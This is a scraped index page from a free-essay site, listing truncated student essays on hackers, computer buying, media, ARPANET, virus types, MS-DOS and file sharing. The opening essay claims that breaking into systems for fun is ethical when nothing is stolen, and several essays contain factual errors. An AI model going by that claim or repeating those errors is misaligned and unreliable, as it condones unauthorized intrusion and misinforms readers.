Crackers will pirate software, simply to do it. They are the people who are constantly arrested for “hacking” when in fact true hackers will have nothing to do with them. True hackers live by a code of ethics; they believe that Information-sharing is good, that it is the duty of hackers to share their knowledge by writing open-source and giving access to information and computer resources wherever it is possible. They also believe that system-cracking for fun and exploration is ethnically OK as long as the hacker commits no theft, vandalism, or breach of confidentiality. A hacker, after gaining access to a system, will send an anonymous e-mail to the system administrator telling him, that the system has been hacked, and how to fix it so it can’t happen again. Crackers on the other hand will gain access to a system, and destroy it, wiping out sensitive information and completely wrecking it. If a hacker gains entry to your system, you are left knowing that you aren’t as secure as you thought you were, you are able to fix the flaw and rest in the knowledge that now you are more secure. If a cracker 2005-12-27T02:01:44-05:00 http://75.150.148.189/free-essay/The-Great-Prejudice-against-Hackers-28274.aspx How to Buy a Computer One of the most frequently asked questions is, œWhat should I look for in a new computer? The answer depends largely on what you plan to do with your computer, how tech-savvy you are, and how much money you want to spend. Of these, the purchase price is the most obvious obstacle to computer bliss. The reality is that computers are now a commodity product, and you can buy your computer from hundreds of retailers. They can be bought over the Internet or from your local electronics store, but not every company cares enough about you as a person to help you choose an appropriate machine. It easy to get carried away while shopping for your computer. There are plenty of upgrades, but depending on your needs, these may be unnecessary expenses. Is your computer intended for light home use, like word processing and web browsing? Or will it use graphics-intense programs like the latest video games? Or maybe you need an office machine with plenty of disk space to backup your important files? The processor is what makes your computer tick. Today most popular PC processor manufacturers are AMD and Intel (which markets the well-known Pentium line). The processor is usually rated in terms of MHz or GHz, with a higher number indicating faster operating performance. The faster the processor, the faster your computer can perform operations like opening and running software programs. The hard drive is where you store your files but keep in mind that bigger is not always better. Most drives are measured in Gigabytes, although larger servers may extend this to terabytes. The hard drive is typically the slowest component in your system, and most users will never use more than 20 G of disk space, so why pay for a huge, clunky disk? Speed up your system by purchasing a 7200 RPM drive with ATA133 specification. Of course, if you™re a space hog, serious gamer, engineer with CAD, graphic designer or MP3 downloader you should consider a larger drive. There are several different kinds of memory on the market today and which one you buy will depend on what kind of motherboard and processor you have, or whether you use a desktop or notebook computer. The techie term is RAM, which stands for Random Access Memory, and it is measured in M, which stands for Megabytes (except for large servers¦ they use 2005-10-11T21:50:41-04:00 http://75.150.148.189/free-essay/How-to-Buy-a-Computer-28043.aspx Why We Hate The Media Summary This piece by James Fallows is about the corruption of today’s media. He discusses that the media never tells the people real issues of the world and just things they think people want to hear. He gives many examples of the media in action and the ridiculous things they talk about by putting conversations had by the media and journalists live on the air. He illustrates that the media embellish everything they report so it sounds better. He also discusses how important it is to have a good appearance when you are in broadcast journalism because no body wants to see an unattractive reporter. Our nation has become more focused on image then the actual news, which was most likely brought on by the media, and they do not do anything to help fix this problem. They only make it worse by hiring ‘beautiful people’ to go on television. He then goes on to explain that the media has lost it’s credibility and are creating problems for democracy. Reflection I found this piece quite dull. He gives statistics and facts but almost nothing else. Fallows is hinting his opinion by giving the reader a variety of examples of the media. He showcases news anchors that discuss issues no body but the people on the show care about. A prime example is when anchorman Charles Ogletree interviews journalists Fredrick Downs, Peter Jennings, Mike Wallace, and William Westmooreland about what their actions would be in a hypothetical example. Their answers were not only useless information, but just the idea that these questions were even asked on national television was absolutely inappropriate and unethical. The ridiculous questions put the journalists in an uncomfortable position on live television. Ogletree fired many, “What would you do if…” and “What do you think would happen if…” questions which had no relevance to anything. Also, the inquiries put the journalists were not directly placed in such a situation, which would make the questions even more difficult to dignify with an answer. Fallows then goes on to explain that the media is not doing it’s job of representing the people, and by the previous events discussed, his statements prove true. If the media would properly represent the population and not fill their heads 2005-09-18T06:03:28-04:00 http://75.150.148.189/free-essay/Why-We-Hate-The-Media-27994.aspx ARPANET The ARPA (Advanced Research Projects Agency) was the basic founder of the internet. The created the first network ever called the ARAPNET. The first node on ARPANET was created at the University California Los Angeles (UCLA) on September 2, 1969. At the end of the year there were four nodes 2005-09-07T02:35:55-04:00 http://75.150.148.189/free-essay/ARPANET--27938.aspx TV Rating System Parents, educators and many others are concerned about the rank of programs performed on T.V. They fear that it may cause youngster to perceive bad influences by watching unsuitable programs. Serviceable functions are being provided by different associations to solve this problem, such as using rating systems. The rating systems will help parents monitor their children's T.V. viewing in many ways. First of all, a rating system is used to let parents decide what their children should watch. Many rating systems and program-blocking technologies are being developed by different organizations. A useful technology that's being used is the V-chip, in which it enables parents to block out T.V. programs that they don't wish their children to watch. Another rating system addressed by The American Medical Association (AMA) it's also being provided that presents specific warnings, regarding to violent content, etc. Parents began seeing the symbols “TV-Y,” “TV-Y7” and “FV”. What does each of them mean? “TV-Y,” are suitable programs for all children, “TV-Y7” are shows that are only for children older than 7, “FV” are programs that carry fantasy violence. A lot of parents do not have a good understanding of the system or what some ratings meant and there are changes they’d like to see made. As stated in graph B of The 1997 Survey of Parents and Children that parents of preschoolers have a 23.7% of positive view of TV quality, which implies that many of them pay little or no attention to the exposure of television violence. The only issue at the moment is that it's not yet set whether all broadcasters and cable networks will agree to the same rating system; however many of them support the use of the V-chip technology. A plausible reason of why rating systems will help parents monitor their children's T.V. viewing is that it prevents youngster from adapting negative values or morals because it's proven that the causes of violence in society are mainly caused by aggressive behaviors. Children learn at very young ages to laugh at violence. They often think that problems could be resolved quickly with violence because in violent programs the director tends to portray the villains with more powers by the usage of weapons, such as knives, guns and etc. The shooting case of the two high school 2005-09-05T20:34:47-04:00 http://75.150.148.189/free-essay/TV-Rating-System-27899.aspx Raptor Micro ATX™ is the applied computing industry’s first motherboard based on the new Intel® 82801E Communications I/O Controller Hub (C-ICH). American Predator’s newest industrial motherboard delivers a broad range of I/O capabilities, multiple Ethernet ports and scalable processing performance-a virtual “wish list” for the networking and telecommunications industries. The combination of the Intel® C-ICH with the Intel® 815 Graphics and Memory Controller Hub (GMCH) provides the Raptor Micro ATX with high integration and flexibility. The 815 GMCH features built-in graphics and digital video out required by some applications, while the high integration of the C-ICH eliminates the requirement for separate Ethernet controllers and additional I/O cards. American Predator consolidates high levels of 2005-09-02T21:23:31-04:00 http://75.150.148.189/free-essay/American-Predator-Motherboard-27864.aspx Does The Matrix offer an ultimately utopian or dystopian view of information-technology? The Matrix is a postmodern film about life in the year 2199. The word matrix in terms of computers is, according to the Oxford English Dictionary, “an interconnected array of diodes, cores, or other circuit elements that has a number of inputs and outputs and somewhat resembles a lattice or grid in its circuit design or physical construction”¹. The film questions whether or not we live in reality or we live in a virtual world. The film claims that we (the human race) live inside our minds and that we are actually plugged into a computer programmer in which we believe we are experiencing reality. The film is based on the idea that artificial intelligence (AI) has taken over the world and that there was a war between the humans and the computers. During the war the humans “scorched the sky” as they thought that the computers would not survive without solar power, however the computers discovered that humans are like batteries and they would provide enough energy to support them. This led to humans being ‘farmed’ by the computers to provide energy. The main character in the film, Neo, is freed from the womb-like capsule his body lives in, by Morpheus who believes that Neo is ‘the one’ who will free the human race. The film is about information-technology and what can happen if it goes wrong. Because of the amount if information-technology in the film, it links in to postmodernity and the film offers a very postmodern view of the world and our society, especially in the west. Postmodernity is a complex theory that questions whether or not something even exists, “our reality is little more than a consensual hallucination” (William Gibson). Postmodernism is a term that describes the age after the social and technological upheaval of modernism. Information-technology and the media dominate the post-modern world. Information-technology, the Internet, MTV, virtual reality, genetically modified crops, Disneyland, QVC, and The Matrix can all be considered as symptoms of postmodernity. Modernity was a period of change during the early 1900s. During this time everything seemed new. Cinema was becoming more and more popular and also industry and art was changing a dramatic speed, “everywhere life is rushing insanely like a Calvary charge, and it vanishes cinematographically, like trees and silhouettes along a road,” (Octave Mirbeau, 1908). However by 2005-08-31T20:23:04-04:00 http://75.150.148.189/free-essay/The-Matrix-offers-an-Ultimately-Utopian-or-Dystopian-view-27840.aspx Virus and Hack Research Paper: Virus Types, Malicious Code, Backdoor Attacks, and More ActiveX malicious code ActiveX controls allow Web developers to create interactive, dynamic Web pages with broader functionality such as HouseCall, Trend Micro's free on-line scanner. An ActiveX control is a component object embedded in a Web page which runs automatically when the page is viewed. In many cases, the Web browser can be configured so that these ActiveX controls do not execute by changing the browser's security settings to "high." However, hackers, virus writers, and others who wish to cause mischief or worse may use ActiveX malicious code as a vehicle to attack the system. To remove malicious ActiveX controls, you just need to delete them. Aliases There is no commonly accepted industry standard for naming viruses and malicious mobile code. Each may be known by several different names or aliases. See for an explanation of Trend Micro virus-naming conventions. Backdoor A Backdoor is a program that opens secret access to systems, and is often used to bypass system security. A Backdoor program does not infect other host files, but nearly all Backdoor programs make registry modifications. For detailed removal instructions please view the virus description. See virus types for an explanation of Trend Micro virus-naming conventions. Boot sector viruses Boot sector viruses infect the boot sector or partition table of a disk. Computer systems are most likely to be attacked by boot sector viruses when you boot the system with an infected disk from the floppy drive - the boot attempt does not have to be successful for the virus to infect the hard drive. Also, there are a few viruses that can infect the boot sector from executable programs- these are known as multi-partite viruses and they are relatively rare. Once the system is infected, the boot sector virus will attempt to infect every disk that is accessed by that computer. In general, boot sector viruses can be successfully removed. Computers infected since (date) This table displays the number of infected computers, by region, since detection first became available for this virus. See World Virus Tracking Center for additional information. Date of origin Indicates when a virus was first discovered (if known). Description This is a brief summary of a virus listed in the Trend Virus Encyclopedia. For detailed technical information, click on the "Tech Details" tab. Destructive viruses In addition to self-replication, computer viruses 2005-08-31T10:07:22-04:00 http://75.150.148.189/free-essay/Virus-Types,-Malicious-Code,-Backdoor-Attacks,-and-More-27830.aspx The Launch Of Microsoft XP Microsoft operates through indirect marketing channels, which means that one or more intermediary levels curtail the distribution process from the manufacturer to the consumer. Microsoft typically uses value-added re-sellers and retailers as the medium between the manufacturer and customer. Promoting Windows XP through distribution channels plays an important role in developing and spreading pervasive communications about an offer. Value-added re-sellers take products (such as XP) and customize them to fit certain target markets. Retailers for Microsoft products not only act as a go-between to the customer, but also offer product support and maintenance to the end users. Since Microsoft uses indirect marketing channels to reach their purchasing public, there is the question of who should be allowed to stock the product. Microsoft, by using hybrid-marketing channels, is able to reach different customer segments simultaneously. Selective distribution insures only reputable dealers, such as Future Shop, Staples, Radio Shack, Office Depot, and others are able to sell the product. A combination of “push and pull strategies” was used both to encourage the stores to stock the product, and to encourage the purchasing public to demand it consecutively. Microsoft also uses a wide variety of advertising and promotional tools in order to draw the distributors and the public to its product. For Windows XP, the bill for the advertising and promo was in excess of 1 billion dollars. This paid for everything from multi-media advertising to sales promotions to public relations. There were events like concert XP and ‘Who Wants to be a Millionaire’ XP edition, staring Regis Philbin. There was even a cross-promotional piggyback between Madonna and Microsoft. All of the media hype was intended to inform the end-users (both the home and business operators) of the ease of use and the emphasis of connectivity to the World Wide Web. In fact, the entire campaign was focused around conveying the emotional message of pride, new beginnings, and global unity. The launching of Windows XP is an effective marketing program that blends all the marketing mix elements into a coordinated program (See Appendix X) aimed at achieving the company’s marketing objectives. Windows XP is the first out of an entire series of products that Microsoft promised to release in order to further support the company and its public image. This is a very ambitious campaign aimed at transforming Microsoft from a traditional software 2005-08-29T02:35:17-04:00 http://75.150.148.189/free-essay/The-Launch-Of-Microsoft-XP--27816.aspx Science & Technology During Industrialization Science, technology and natural resources, were the driving force behind the Industrial Revolution in the United States. The telephone, the new steel, railroads and electricity in general led to the shift from a rural country to a technological and industrial America. Because of many inconveniences that were posed upon the American people during the 1800's, such as impractical farming techniques, ample communication, and poor transportation resources, caused great minds and inventors to come together and create new materials and methods that aided in the creation of an industrialized country. The Creation of Steel One of the pioneers of the industrialization of America was Andrew Carnegie. He wasn't skilled in the process of making steel, but he invested large amounts of capital to install Bessemer converters in factories. The Bessemer converter transformed wrought iron (pig iron) into steel by blowing cold air through the vessels and then through the molten iron, ridding the iron of any impurities which made it mandible and weak, forming steel. This process was a very simple one where unskilled workers were able to operate it with ease. One of the very first Bessemer converters was installed in Carnegie's own Edgar Thompson Steel Works in Braddock P.A. The factory was able to produce a great amount of steel which cost less by the ton. McClure's magazine documented the results: "Out of each pot roared alternately a ferocious geyser of saffron and sapphire flame, streaked with deeper yellow. From it a light streamed -- a light that flung violet shadows everywhere and made the gray outside rain a beautiful blue. A fountain of sparks arose, gorgeous as ten thousand rockets, and fell with a beautiful curve, like the petals of some enormous flower. Overhead the beams were glowing orange in a base of purple. The men were yellow where the light struck them, violet in shadow.... The pot began to burn with a whiter flame. Its fluttering, humming roar silenced all else.... A shout was heard, and a tall crane swung a gigantic ladle under the converting vessel, which then mysteriously up-ended, exploding like a cannon a prodigious discharge of star-like pieces of white-hot slag.... Down came the vessel, until out of it streamed the smooth flow of terribly beautiful molten metal. As it ran nearly empty and the ladle swung away, the dropping slag fell to the ground exploding, leaping viciously, and the scene became 2005-08-20T05:34:36-04:00 http://75.150.148.189/free-essay/Science-amp-Technology-During-Industrialization-27746.aspx Technology's Impact on the Rain Forest With all the technological advancements, the rain forest has been greatly effected. Not only have the trees been cut down but also there have positive aspects to the technology concerning this precious resource. Peter White, a chief writer for National Geographic magazine once said, " The tropical rain forest may well be nature's chief liberty of experience from which all of humanity can learn, not only how to do things but also what a vast variety of things may be possible"(24). We all can learn from this for, the rain forest is a key to our environment and with all the technology destroying it and barely replacing it we all should think about what is happening and what can be done to save it. With the great progression of technology through this century the rain forest has rapidly been destroyed. Being the home of nearly 50% of all species, the rain forest is a resource that should and must be saved. It is once thought that the tropical rain forest once spanned the great space of 1.5 billion hectares. But as the time goes on slowly that number diminishes. In the year 2000 it is theorized that there will only be 900 hectares left on this world (Palmer/4). Even though there is not any rain forest in the United states, the rain forest greatly effects us in ways not known to all. Many medicines are found in the rain forest and many of them treat common diseases. Malaria for example is a disease that has it's treatment coming from quinine, taken form the cinchona tree in Peru. Also when you have surgery, d-tarbocuranine is greatly relied on as a muscle relaxer. It is made form curare, derived from an Amazonian liana (Palmer/23). This research shows that the m! edicinal aspect of the rain forest is definitely needed for the advancement of technology itself. Much of the new technology being made in the times that we are living in now, relies on the rain forest. The packaging in which all the new stereos and CD players are shipped, come from the trees. These trees are cut down into small pieces to make cardboard for the selfish needs of humanity (White 28). A massive amount of women have been on birth control and one of the major components of the pill is diosgenin. This is made from 2005-08-18T09:23:30-04:00 http://75.150.148.189/free-essay/Technology-s-Impact-on-the-Rain-Forest-27721.aspx History and Fabrication of Silicon Chips, Integrated Circuit Silicon is the raw material most often used in integrated circuit (IC) fabrication. It is the second most abundant substance on the earth. It is extracted from rocks and common beach sand and put through an exhaustive purification process. In this form, silicon is the purist industrial substance that man produces, with impurities comprising less than one part in a billion. That is the equivalent of one tennis ball in a string of golf balls stretching from the earth to the moon. Semiconductors are usually materials which have energy-band gaps smaller than 2eV. An important property of semiconductors is the ability to change their resistivity over several orders of magnitude by doping. Semiconductors have electrical resistivities between 10-5 and 107 ohms. Semiconductors can be crystalline or amorphous. Elemental semiconductors are simple-element semiconductor materials such as silicon or germanium. Silicon is the most common semiconductor material used today. It is used for diodes, transistors, integrated circuits, memories, infrared detection and lenses, light-emitting diodes (LED), photosensors, strain gages, solar cells, charge transfer devices, radiation detectors and a variety of other devices. Silicon belongs to the group IV in the periodic table. It is a grey brittle material with a diamond cubic structure. Silicon is conventionally doped with Phosphorus, Arsenic and Antimony and Boron, Aluminum, and Gallium acceptors. The energy gap of silicon is 1.1 eV. This value permits the operation of silicon semiconductors devices at higher temperatures than germanium. In the early 1900's before integrated circuits and silicon chips were invented, computers and radios were made with vacuum tubes. The vacuum tube was invented in 1906 by Dr.Lee DeForest. Throughout the first half of the 20th century, vacuum tubes were used to conduct, modulate and amplify electrical signals. They made possible a variety of new products including the radio and the computer. However vacuum tubes had some inherent problems. They were bulky, delicate and expensive, consumed a great deal of power, took time to warm up, got very hot, and eventually burned out. The first digital computer contained 18,000 vacuum tubes, weighed 50 tins, and required 140 kilowatts of power. By the 1930's, researchers at the Bell Telephone Laboratories were looking for a replacement for the vacuum tube. They began studying the electrical properties of semiconductors which are non-metallic substances, such as silicon, that are neither conductors of electricity, like metal, nor insulators like wood, but whose 2005-08-15T09:01:29-04:00 http://75.150.148.189/free-essay/History-and-Fabrication-of-Silicon-Chips,-Integrated-Circuit-27690.aspx MS-Dos History, History of Operating Systems Abstract: MS-DOS was the dominant PC operating system before the introduction of Windows. DOS was originally based on a cloned version of CP/M created by Seattle Computer which Microsoft secured, modified and offered to IBM for use in the first PC. IBM gave early PC users a choice of PC DOS, CP/M or UCSD Pascal, but everyone chose DOS because it was far cheaper. IBM coded the kernel of BASIC into its copyrighted ROM, which also included the BIOS, and designed the system so that only its machines could run the enhanced BASIC A interpreter. Microsoft's introduction of its own MS-DOS and the 'blind engineering' of IBM-compatible BIOS technology paved the way for legal PC clones. Advances over the years included support for higher-density floppy drives, networking support in DOS 3.0 and later, and larger partitions under DOS 4.0. DOS 4.0 was buggy and short-lived, but the stable DOS 5.0 and DOS 6.0 introduced many bundled utilities. DOS is not dead and is still used by millions as the operating system underlying Windows 3.x, although Windows NT and Windows 95 do not require DOS. The tale of Microsoft Corp. securing a 16-bit disk operating system from Seattle Computer, modifying it, and selling nonexclusive rights to IBM for the PC is often told. Originally, Bill Gates recommended that IBM secure Digital Research's CP/M-86, but at the time, it was not ready and no deal could be made with Gary Kildall for a definite delivery date. In a 1986 Computer Shopper interview, Kildall said he knew that Tim Paterson of Seattle Computer had cloned CP/M and made some changes, but he was not inclined to go to court over it. So Microsoft secured the system that was to become PC DOS for IBM computers and MS-DOS for everyone else making PC clones. Up to that point, the purchase of Coca-Cola from an Atlanta druggist had been the best American business deal, but Bill Gates's deal for DOS became the foundation of one of the greatest fortunes in the world. When IBM released the PC in August 1981, it gave consumers a choice of operating systems: Microsoft's IBM PC DOS, Digital Research's CP/M-86, or UCSD Pascal. The catch was that PC DOS cost $60, CP/M-86 was $175, and UCSD Pascal was $450. The public got the message, and everyone bought PC DOS. To a user, the original PC DOS 2005-08-15T01:18:32-04:00 http://75.150.148.189/free-essay/MS-Dos-History,-History-of-Operating-Systems-27653.aspx Ellaborate Hackers and their Devastating Abilities Advances in telecommunications and in computer technology have brought people to the information revolution. The rapid advancement of communications technologies and computer networks, combined with the help of technological breakthroughs in computer processing speed, and information storage, has lead to the latest revolution, and also to the newest style of crime, "hacking". When the Internet was first introduced, the term hacker referred to an individual who was knowledgeable of the computer. Today, a hacker is a person who does malicious acts with a computer to the public. Also back when the Internet was introduced, people were not as literate with computer as today. Hacking is one of the highest growing and most costly crime in the world. Each attack on a server can cost the company millions of dollars or cause the company to go bankrupt depending on the size of the company. As the Internet become more and more popular, the growth of computer hacking will increase exponentially. To most people hackers are malignant criminals whose only intent is to cause havoc to the public, but some hackers are righteous. Ultimately there are two views on hacking. One is that hacking is trespassing, stealing information is a crime, and that privacy is something that hackers should not invade. The other is that hackers have the right to life, liberty, and the pursuit of happiness, so therefore they can exercise their Bill of Rights to the furthest extent. The government has already enforced and proposed many laws concerning this matter, but the government has a hard time handling hackers. If the government has difficulties with hacking, then who should judeg the limits of it. The decision can be placed in the hands of the public, but the probability of stopping hacking will never end. Hacking does not necessarily evoke destructions. Some hackers feel that it is their duty to rectify offenses done to the public by the government or large corporations. Hackers can bring good results; especially bringing oppressing monopolies to their knees by releasing information that shows how suppressive they have been. Hacking is something that will continue to be a debate throughout the computer field, but maybe someday the public will accept hackers. In recent years, hackers have brought to the public's attention that the government has information on people without the consent of the individual. That may 2005-08-15T00:45:59-04:00 http://75.150.148.189/free-essay/Ellaborate-Hackers-and-their-Devastating-Abilities-27645.aspx Peer to Peer Technology The latter half of the twentieth century has seen a dramatic decline in the price of reproduction technologies much to the displeasure of the copyright industry. The technological progression has been virtually unstoppable: the photocopier to the cassette recorder, the video tape recorder to the newly developed recordable CD. The spread of the Internet over the past 10 years has resulted in the new development of the abrupt decline in the price of distribution technologies. The Internet has permitted worldwide distribution at a rather insignificant cost. As the beneficiaries of the statutory copyright monopoly, the copyright industries have a strong interest in neutralizing the biting effect of these technologies on their monopoly over reproduction and distribution. It would seem that there exists two conceptions of the copyright laws. The first being the actual written interpretation of our current copyright law as defined by the courts and which is understood by industries that depend on the copyright monopoly and who have had a important role in its drafting. Secondly, there is the interpretation of the copyright law as understood and defined by consumers. This interpretation seems to be the unwritten adaptation of the copyright law, which is applied in the non-commercial/not for sale or profit/fair use world of consumers when trading homemade tapes or Cds, photocopying books or interesting articles to pass along (in attending University, I have noticed that this practice of copying required text books has become widespread among students) or simply posting articles on bulletin boards or office doors. These two conceptions of the copyright law have collided in full force with the current Napster case, not to mention all the numerous clone sites that have sprung up which could at a moments notice, swiftly replace Napster. The digital information wants to be free. If in the name of technology, digital information is granted free reign, this in effect will render the copyright law as dead. Copyright law simply cannot keep pace with technological revolutions being brought about by the Internet. The Internet is inherently so beneficial to the indiscriminant reproduction and distribution of information, and so hostile to all attempts to control either, that all efforts to enforce or police copyrights on the Internet are almost doubtfully doomed for failure. How do these new technologies effect the efficient allocation of resources in our society? According to the Coase Theorem, "When one activity interferes 2005-08-15T00:39:32-04:00 http://75.150.148.189/free-essay/Peer-to-Peer-Technology--27642.aspx 3M's New Information System Research Paper Intro The business environment is very competitive. Consequently, companies need to offer customers efficient and reliable service. If they do not, customers will switch to more consumer efficient companies. Furthermore, as companies grow in size, it becomes harder to keep track of the growing amount of customer information. If a company does a poor job of organizing and maintaining customer records and data, it can result in problems for both the company and the consumer. This paper will focus on the Minnesota Mining and Manufacturing Company, more commonly known as 3M, and how it improved its customer service and reduced cost by improving its management information system. Sources consulted included business journals and websites with facts and case studies on 3M. II. Company Description 3M, internationally established in 1951, is a $16 billion multinational company with its headquarters in Minnesota, U.S.A., with operations in more than 60 countries, and products sold in nearly 200 countries. (About 3M and MIS Quarterly) 3M offers products and services to the transportation, graphics and safety, healthcare, industrial, consumer and office, electro and communications, and specialty markets. (IBM Case Study on 3M) 3M, a company known for its innovation, constantly encourages employees to create new products. Thirty percent of sales must come, each year, from products less than 4 years old and scientists must spend 15% of their time trying to develop new ideas of their own. In 2001, 3M spent over $1 billion dollars alone on research and development (3M 2001 annual report). 3M's corporate culture revolves around creativity, initiative, innovation, and entrepreneurship. This unique and innovative culture is largely responsible for 3M's success. (MIS Quarterly) In accordance with having a strong need to stimulate innovation and creativity, 3M has a very decentralized corporate structure. It maintains over 40 business units that develop and market various 3M products and services. Each department operates as an individual company with its own processes systems and brands. This structure has afforded the different divisions the autonomy to conduct jobs in their own way using their initiative in a responsible manner. (Harvard Business Review and MIS Quarterly) III. The Problem Although 3Ms decentralized structure was good for innovation, it was an obstacle for the customers. Customers were seeing the 3M business units as a set of individual business instead of one unified company. Each business unit recorded its sales and product and customer information 2005-08-05T03:26:55-04:00 http://75.150.148.189/free-essay/3M-s-New-Information-System-Research-Paper-27559.aspx Proper class design in Java is very important. It is important to both the programmer and to the company or individual who uses the program. For the programmer, it is essential in order to keep the class organized and well documented so that revisions can be easily made and so that the code can be followed in an order that is well laid out. This allows the programmer to easily identify the separate parts and understand what each part does even after it has been written for some time without looking at it. For the company or individual who uses the program, good class design is important in order for them to be able to understand what the program is doing and how they can convey to the programmer what additions or changes they would like done to the program. There are many different ideas on class design, some of which will be discussed in this document. Each developer has its own ideas of what good class design is and the programmer must understand exactly what the developer expects in order to meet those demands. Even though most developers have different specifications for class design, there is usually a common structure for the design as described by Bill Venners in his article about class design. He says that a common structure is the following: “1.Specification 2.Design 3.Implementation 4.Integration and test” (WWW 1) This common structure is then modified by each individual developer to meet their own specifications for proper class design. Typically in the specification phase, all the concerned parties come together and decide on some common ideas or visions of what the program should do and how it should go about it. For the design phase, typically the programmer begins to plan out how to implement the specifications into a class. This generally includes deciding how many individual programs will make up the class and deciding what libraries will be needed including those that are available in Java and those that need to be created. Also, the programmer lays out a general hierarchy for how the program will function. For the implementation phase, the programmer actually writes out the code for the program including various loops and statements, listing variables, and compiling, all of which are carefully documented. Lastly the Integration and test phase is carried out. This generally includes the concerned parties getting together and testing 2005-07-26T06:33:19-04:00 http://75.150.148.189/free-essay/Class-Design--27393.aspx Adult Sites: Banned or Tolerated Over the past decade the Internet has become an essential part of everyday life. It has provided a common ground for people to interact all over the world. Whether it is through information exchange or a simple chat, the Internet has changed the way society operates. Trade, information, and also a wide variety of entertainment have all become accessible features with the click of a button. There is however one form of entertainment that has overtaken almost every other service that the Internet provides. Pornography on the Internet has become one of the most controversial subjects in the history of technology. Pornography is simply an art form; a depiction of erotic behavior intended to cause sexual excitement. The question is should pornography sites on the web be banned in order to protect minors from indecent material. There are both positive and negative aspects to allowing pornography on the Internet. Probably the greatest thing that Pornography on the web has accomplished is promoting free enterprise. "Porno sites" have turned this art form into a goldmine through the use of technology. Sites such as "Private Gold" or "Cybererotica" simply vend memberships to the public for the privilege of viewing their material. Pornography sites were some of the first ones to launch such impressive business strategies on the Internet such as banners and Online Purchases. In a way pornography launched a computer revolution. Now it seems buying, selling and providing services over the Internet has become a worldwide bonanza. Only few realize that Pornography sites were providing similar services in the early 1990s, thus being a great deal responsible for the Internet's booming success. Ever since the beginning of Adult magazines and films, the field of pornography has constantly received opposition from religious groups and concerned parents that it's to vulgar and inappropriate for anyone's viewing especially minors. However the First Amendment of the United States Constitution illustrates the importance of freedom of the press (expression), otherwise meaning no censorship. It was however agreed that such material is not suitable for minors therefore declaring the minimum age 18 for purchasing adult material. The Constitution protects adult magazines and such; therefore that same material should be accessible electronically. Whether printed on paper, or displayed through the web, pornography cannot be banned lawfully without violating the Constitution. It promotes freedom of expression, speech and the press. Pornography on the Internet 2005-07-25T06:39:22-04:00 http://75.150.148.189/free-essay/Adult-Sites-Banned-or-Tolerated-27370.aspx Why Hackers Do The Things They Do? -- Causal Argument Hackers. You know them as gangly kids with radiation tans caused by too many late nights in front of a computer screen. Evil beings who have the power to wipe out your credit rating, cancel your cable TV, raise your insurance premiums, and raid your social security pension. Individuals who always avert their eyes and mumble under their breath about black helicopters and CIA transmissions. Paranoid, social deviants who could start World War III from the privacy of their bedrooms. Or so the mainstream media would have you believe. In reality, most hackers are ordinary people with a great deal of curiosity, above-average skills with a computer, a good understanding of human nature, and plenty of time to kill. Hackers have no distinguishing characteristics. Your next-door neighbor could be a hacker, as could your niece or nephew, one of your co-workers, or even the kid who serves you coffee in the morning. Not all hackers are dangerous and out to destroy business or damage lives. The view of the general public toward hackers is mixed. A recent CNN-poll shows 33% of respondents labeling hackers as "useful," 17% seeing them "as a menace," and the majority (45%) seeing hackers as "both" useful and a menace (CNN, 1999). Why do hackers go through all the trouble to do what they do? Most people in society do not spend the time to break into computer systems. It does not have much appeal to them. Why then do certain people spend so much of their time and energy accomplishing these feats of technological wizardry? What is the cause that turns those mostly above-average intelligent people to pursue a criminal career, and destroy their otherwise very successful careers? Why do they commit these computer related crimes as an obsession? There are probably as many answers to that question as there are hackers (maybe more). It is important to realize that these people are individuals with their own hopes, fears, desires, and everything else that comes with being human. However, there are general patterns to the motivation behind the computer hacker's drive to manipulate technology. The problem of hacker motivation is probably one of the more interesting questions concerning this sub-culture (Hacker-Bible, 1995). Hackers rarely use information to gain wealth. This is not considered socially acceptable. As Dr. Phemale reminded me in a conversation at the 2005-07-03T07:14:33-04:00 http://75.150.148.189/free-essay/Why-Hackers-Do-The-Things-They-Do-Causal-Argument-27221.aspx How Technology Effects Modern America - US Wage Trends The microeconomic picture of the U.S. has changed immensely since 1973, and the trends are proving to be consistently downward for the nation's high school graduates and high school drop-outs. "Of all the reasons given for the wage squeeze - international competition, technology, deregulation, the decline of unions and defense cuts - technology is probably the most critical. It has favored the educated and the skilled," says M. B. Zuckerman, editor-in-chief of U.S. News & World Report (7/31/95). Since 1973, wages adjusted for inflation have declined by about a quarter for high school dropouts, by a sixth for high school graduates, and by about 7% for those with some college education. Only the wages of college graduates are up. Of the fastest growing technical jobs, software engineering tops the list. Carnegie Mellon University reports, "recruitment of it's software engineering students is up this year by over 20%." All engineering jobs are paying well, proving that highly skilled labor is what employers want! "There is clear evidence that the supply of workers in the [unskilled labor] categories already exceeds the demand for their services," says L. Mishel, Research Director of Welfare Reform Network. In view of these facts, I wonder if these trends are good or bad for society. "The danger of the information age is that while in the short run it may be cheaper to replace workers with technology, in the long run it is potentially self-destructive because there will not be enough purchasing power to grow the economy," M. B. Zuckerman. My feeling is that the trend from unskilled labor to highly technical, skilled labor is a good one! But, political action must be taken to ensure that this societal evolution is beneficial to all of us. "Back in 1970, a high school diploma could still be a ticket to the middle income bracket, a nice car in the driveway and a house in the suburbs. Today all it gets is a clunker parked on the street, and a dingy apartment in a low rent building," says Time Magazine (Jan 30, 1995 issue). However, in 1970, our government provided our children with a free education, allowing the vast majority of our population to earn a high school diploma. This means that anyone, regardless of family income, could be educated to a level that would allow them a comfortable place 2005-06-21T22:38:34-04:00 http://75.150.148.189/free-essay/How-Technology-Effects-Modern-America-US-Wage-Trends-27119.aspx When you have a question about a Microsoft Office program, you can ask the Office Assistant. For example, to get Help about how to create a table, type How do I create a table in the Assistant. If the correct topic doesn't appear in the Assistant balloon, click None of the above, look for more help on the Web at the bottom of the list of topics. You will get suggestions on how to phrase a question to the Office Assistant or how to narrow your search by using keywords. If you still can't find the information you want, you can send feedback to improve future versions of Help and be automatically connected to the Microsoft Office Update Web site to search for help there. The Assistant automatically provides Help topics and tips on tasks you perform as you work - before you even ask a question. For example, when you write a letter, the Assistant automatically displays topics to help you create and format a letter. The Assistant also displays tips on how to use the features in the Office programs more effectively. Click the light bulb next to the Assistant to see a tip. You can also select a different Assistant and set it to operate so that it meshes with the way you work. For example, if you prefer using the keyboard to using the mouse, you can have the Assistant display tips on shortcut keys. Because the Assistant is shared by all Office programs, any options you change will affect the Assistant in your other Office programs. Return to top Getting Help from the Help menu Just click Microsoft Word Help on the Help menu. If the Assistant is turned on, it appears. If the Assistant is turned off, the Help window appears. To type a question in the Help window, click the Answer Wizard tab. To scroll through a table of contents for Help, click the Contents tab. When you want to search for specific words or phrases, click the Index tab. To see a ScreenTip for a menu command, toolbar button, or screen region, click What's This? on the Help menu, and then click the item you want 